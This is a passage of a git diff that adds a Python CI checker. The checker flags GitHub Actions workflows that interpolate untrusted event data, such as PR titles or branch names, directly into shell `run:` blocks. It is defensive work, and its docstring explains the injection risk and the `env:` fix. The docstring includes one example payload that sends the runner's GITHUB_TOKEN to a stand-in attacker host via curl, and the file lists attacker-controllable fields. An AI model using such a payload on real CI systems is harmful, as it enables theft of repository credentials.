with the code. + v.add_argument("--rebuild-into", + default=os.environ.get("TRI_SEAL_BUILD_DIR", "/tmp/t27_seal_build")) + v.set_defaults(fn=do_verify) + + a = ap.parse_args() + return a.fn(a) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/scripts/ci/check_untrusted_shell_interp.py b/scripts/ci/check_untrusted_shell_interp.py new file mode 100644 index 0000000000..29dd9af123 --- /dev/null +++ b/scripts/ci/check_untrusted_shell_interp.py @@ -0,0 +1,221 @@ +#!/usr/bin/env python3 +"""Forbid GitHub expression interpolation of untrusted event data into shell. + +The defect this exists to prevent +-------------------------------- +A workflow that writes + + run: | + TITLE="${{ github.event.pull_request.title }}" + +does not pass the title to the shell as data. GitHub substitutes the expression +*as text* before the shell parses the line, so the surrounding quotes are not +shell quoting of the title -- they are part of a script the title can end. A +title of `x$(curl attacker.example/$GITHUB_TOKEN)y` runs that command on the +runner, and a pull-request title is controllable by anyone who can open a PR. + +Measured on this repository, 2026-08-15: PR #2168, titled +`... pub const Name(T) = struct ...`, made the `extract-issue` job fail with +`syntax error near unexpected token '('`. The parenthesis only produced a syntax +error; `$(...)` in the same position executes. + +Why a checker rather than a rule people remember +------------------------------------------------ +The interpolation reads as if it were quoted. It looks correct in review and it +stays correct-looking after the next copy-paste. Nothing in CI reports it, so the +defect is invisible until a title happens to contain shell syntax -- which is how +this one was found, by accident, after living in the tree. + +The safe form is `env:`, where the runner sets the variable and no content of the +value can be parsed as code: + + - env: + PR_TITLE: ${{ github.event.pull_request.title }} + run: | + printf '%s' "$PR_TITLE" > title.txt # data, not script + +Two severities, both with the list written out in code +------------------------------------------------------ +`UNTRUSTED` fields are strings an outside party chooses. Interpolating one into a +`run:` block is an error. + +`SUSPECT` fields are event data that is not free-form attacker text -- numbers, +enumerated actions, event names. Interpolating them is still the wrong habit, +because the next field added to that line will be a string, but it is reported as +a warning so this check does not have to be silenced to land unrelated work. A +check that must be silenced is a check that will be. + +The lists are enumerated, not inferred. A pattern like "anything ending in +`.title`" stops covering a field the moment someone reaches for `.body`. +""" + +from __future__ import annotations + +import re +import sys +from pathlib import Path + +WORKFLOW_DIR = Path(".github/workflows") + +UNTRUSTED = { + "github.event.issue.title": "issue title, free text from the opener", + "github.event.issue.body": "issue body, free text from the opener", + "github.event.pull_request.title": "PR title, free text from the opener", + "github.event.pull_request.body": "PR body, free text from the opener", + "github.event.pull_request.head.ref": ( + "PR source branch name; git permits $ ( ) ` ; | & and quotes in a " + "refname, and ${IFS} substitutes for the space git does forbid" + ), + "github.event.pull_request.head.label": "fork:branch, contains the branch name", + "github.event.pull_request.head.repo.full_name": "fork owner's chosen repo name", + "github.event.comment.body": "comment text, free text from the commenter", + "github.event.review.body": "review text, free text from the reviewer", + "github.event.head_commit.message": "commit message, free text from the author", + "github.event.workflow_run.head_branch": "branch name from the upstream run", + "github.head_ref": "PR source branch name (same exposure as head.ref)", + "github.event.pull_request.user.login": "account name, chosen at signup", + "github.actor": "account name, chosen at signup", +} + +SUSPECT = { + "github.event_name": "closed set of event names", + "github.event.action": "closed set of action names", + "github.event.issue.number": "integer", + "github.event.pull_request.number": "integer", + "github.event.pull_request.head.sha": "40 hex characters", + "github.ref_name": ( + "branch or tag of the run itself; on push it is a name someone with " + "write access chose, so still data, though not a fork's" + ), + "github.event.repository.updated_at": "timestamp", + "github.event.inputs": "workflow_dispatch input, supplied by a trusted user", + "github.base_ref": "PR target branch; a branch of this repository, not the fork's", + "github.ref": "fully qualified ref of the run itself", + "github.sha": "40 hex characters", + "github.repository": "owner/name of this repository", + "github.run_id": "integer", + "github.run_number": "integer", + "github.workspace": "runner path", + "github.workflow": "workflow name from this repository's tree", +} + +EXPR = re.compile(r"\$\{\{\s*([^}]+?)\s*\}\}") + + +def run_blocks(text: str): + """Yield (line_number, block_text) for every `run:` block in a workflow. + + Deliberately textual. Loading the YAML would resolve the block scalar and + lose line numbers, and one workflow in this repository does not parse as YAML + at all -- a checker that cannot read a broken file cannot report it. + """ + lines = text.splitlines() + i = 0 + while i < len(lines): + m = re.match(r"^(\s*)-?\s*run:\s*([|>].*)?$", lines[i]) + if not m: + m1 = re.match(r"^(\s*)-?\s*run:\s*(\S.*)$", lines[i]) + if m1 and not m1.group(2).startswith(("|", ">")): + yield i + 1, m1.group(2) + i += 1 + continue + indent = len(m.group(1)) + body, start = [], i + 1 + i += 1 + while i < len(lines): + ln = lines[i] + if ln.strip() and (len(ln) - len(ln.lstrip())) <= indent: + break + body.append(ln) + i += 1 + yield start, "\n".join(body) + + +TOKEN = re.compile(r"\b(github(?:\.[A-Za-z_][A-Za-z0-9_]*)+)") + + +def classify(expr: str): + """Return ('untrusted'|'suspect'|None, reason) for a whole expression. + + An expression is not always a single field. `github.event_name == + 'pull_request' && github.base_ref || 'master'` mentions three contexts, and an + earlier version of this checker read only the leading token, fell through to + the catch-all, and reported that line as untrusted. That false positive + matters more than it looks: the first thing a false positive buys is a + silenced check, which this file's own docstring argues against. + + So every `github.*` token in the expression is classified and the worst + severity wins. Unknown `github.event.*` tokens stay untrusted -- a field + nobody has classified is a field nobody has thought about. + """ + worst, reason = None, "" + for tok in TOKEN.findall(expr): + sev, why = classify_token(tok) + if sev == "untrusted": + return sev, why + if sev == "suspect" and worst is None: + worst, reason = sev, why + return worst, reason + + +def classify_token(tok: str): + """Classify one `github.â€Ļ` token. Longest listed prefix wins.""" + for table, sev in ((UNTRUSTED, "untrusted"), (SUSPECT, "suspect")): + for key, why in table.items(): + if tok == key or tok.startswith(key + "."): + return sev, why + if tok.startswith("github.event"): + return "untrusted", "unclassified github.event field -- add it to a list above" + return None, "" + + +def main() -> int: + errors, warnings = [], [] + files = sorted(WORKFLOW_DIR.glob("*.yml")) + sorted(WORKFLOW_DIR.glob("*.yaml")) + if not files: + print("FAIL: no workflow files found -- wrong working directory?") + return 2 + + for path in files: + text = path.read_text(encoding="utf-8", errors="replace") + for lineno, block in run_blocks(text): + for m in EXPR.finditer(block): + sev, why = classify(m.group(1)) + if sev is None: + continue + off = block[: m.start()].count("\n") + item = (f"{path}:{lineno + off}", m.group(1).strip(), why) + (errors if sev == "untrusted" else warnings).append(item) + + for where, expr, why in warnings: + print("warning: %s: ${{ %s }} in run: -- %s" % (where, expr, why)) + if warnings: + print("%d warning(s): event data interpolated into shell, not " + "attacker-controlled. Move to env: when touching these lines." + % len(warnings)) + print() + + if errors: + print("FAIL: %d untrusted interpolation(s) into a shell script:" % len(errors)) + for where, expr, why in errors: + print(" %s" % where) + print(" ${{ %s }}" % expr) + print(" %s" % why) + print() + print('Fix: pass the value through `env:` and read it as "$VAR". The runner') + print("sets an env value, so no content of it can be parsed as shell code.") + print("Do not escape or strip characters instead: a denylist of shell") + print("metacharacters is a guess about a grammar, and the grammar has more") + print("ways to say the same thing than the denylist has entries.") + return 1 + + print("OK: %d workflow(s), no untrusted event data interpolated into a run: " + "block." % len(files)) + print("Scope: interpolation into shell only. It does not check interpolation") + print("into `github-script`, into JSON or YAML written by a step, or into any") + print("other interpreter downstream.") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/scripts/ci/rebuild_evidence.sh b/scripts/ci/rebuild_evidence.sh new file mode 100755 index 0000000000..19ae37c6d4 --- /dev/null +++ b/scripts/ci/rebuild_evidence.sh @@ -0,0 +1,48 @@ +#!/usr/bin/env bash +# Rebuild an evidential binary from a NAMED commit and seal it in the same step, +# so that provenance is captured at build time rather than guessed afterwards. +# +# scripts/ci/rebuild_evidence.sh